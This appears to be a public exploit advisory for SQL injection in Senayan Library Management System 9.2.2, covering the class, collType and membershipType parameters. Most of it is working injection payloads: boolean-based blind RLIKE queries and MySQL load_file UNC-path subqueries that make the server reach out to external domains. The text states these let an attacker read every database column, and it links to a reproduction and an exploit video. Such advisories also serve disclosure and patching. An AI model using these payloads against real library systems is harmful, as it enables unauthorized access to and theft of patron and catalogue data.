Senayan Library Management System 9.2.2 SQL Injection

`## Title: Senayan Library Management System v9.2.2 a.k.a SLIMS 9 Multiple SQLi-Not sanitizing correctly cookie session.  
## Author: nu11secur1ty  
## Date: 12.20.2022  
## Vendor: https://slims.web.id/web/  
## Software: https://github.com/slims/slims9_bulian/releases/tag/v9.2.2  
## Reference:  
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.2/SQLi  
  
## Description:  
The manual insertion `point 3, 4, and 5` appears to be vulnerable to SQL  
injection attacks. The payload '+(select load_file('\\\\  
azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.stupid.com\\dzd'))+' was submitted  
in the manual insertion `point 3`.  
This payload injects a SQL sub-query that calls MySQL's load_file function  
with a UNC file path that references a URL on an external domain.  
After manual testing: The parameters class, collType and membershipType are  
vulnerable to SQLi attacks!  
The application interacted with that domain, indicating that the injected  
SQL query was executed.  
The attacker can take information from all database columns of this system  
by using this vulnerability.  
Not sanitizing correctly cookie session.  
  
## STATUS: HIGH Vulnerability  
  
[+] Payload:  
  
```MySQL  
00  
---  
Parameter: class (GET)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or  
GROUP BY clause  
Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\  
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select  
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+''  
RLIKE (SELECT (CASE WHEN (2920=2920) THEN 0x62626262+(select  
load_file(0x5c5c5c5c37313667623163666539676b6a61347a646a34357178783932303876776c6b636e30656e3662762e736c696d732e7765622e69645c5c6e6271))+''+(select  
load_file(0x5c5c5c5c3172746239777132393937646638783478326364746d70346b76716f656532353574776a6a6237302e736c696d732e7765622e69645c5c617667))+''  
ELSE 0x28 END)) AND 'xMPZ'='xMPZ&membershipType=a''&collType=aaaa'+(select  
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select  
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id  
\\dzd'))+'  
---  
  
01  
---  
Parameter: collType (GET)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or  
GROUP BY clause  
Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\  
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select  
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+'&membershipType=a''&collType=aaaa'+(select  
load_file('\\\\dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select  
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id\\dzd'))+''  
RLIKE (SELECT (CASE WHEN (2279=2279) THEN 0x61616161+(select  
load_file(0x5c5c5c5c646374697930687a69777a643478756a6671716366643375756c306b6f61633166703666743968792e736c696d732e7765622e69645c5c777466))+''+(select  
load_file(0x5c5c5c5c617a6469746d3536316837666b7533796a39397573386e653235387a77706b676e346575316f70642e736c696d732e7765622e69645c5c647a64))+''  
ELSE 0x28 END)) AND 'MGZY'='MGZY  
---  
  
03  
---  
Parameter: membershipType (GET)  
Type: boolean-based blind  
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or  
GROUP BY clause  
Payload: reportView=true&year=2002&class=bbbb'+(select load_file('\\\\  
716gb1cfe9gkja4zdj45qxx9208vwlkcn0en6bv.slims.web.id\\nbq'))+''+(select  
load_file('\\\\1rtb9wq2997df8x4x2cdtmp4kvqoee255twjjb70.slims.web.id\\avg'))+'&membershipType=a'''  
RLIKE (SELECT (CASE WHEN (7628=7628) THEN 0x612727 ELSE 0x28 END)) AND  
'ckmk'='ckmk&collType=aaaa'+(select load_file('\\\\  
dctiy0hziwzd4xujfqqcfd3uul0koac1fp6ft9hy.slims.web.id\\wtf'))+''+(select  
load_file('\\\\azditm561h7fku3yj99us8ne258zwpkgn4eu1opd.slims.web.id  
\\dzd'))+'  
---  
```  
  
## Reproduce:  
[href](  
https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/slims.web.id/SLIMS-9.2.2/SQLi  
)  
  
## Reference:  
[Using HTTP cookies](  
https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)  
  
## Proof and Exploit:  
[href](https://streamable.com/1m0y6c)  
  
## Time spent  
`00:35:00`  
  
## Writing an exploit  
`00:15:00`  
  
`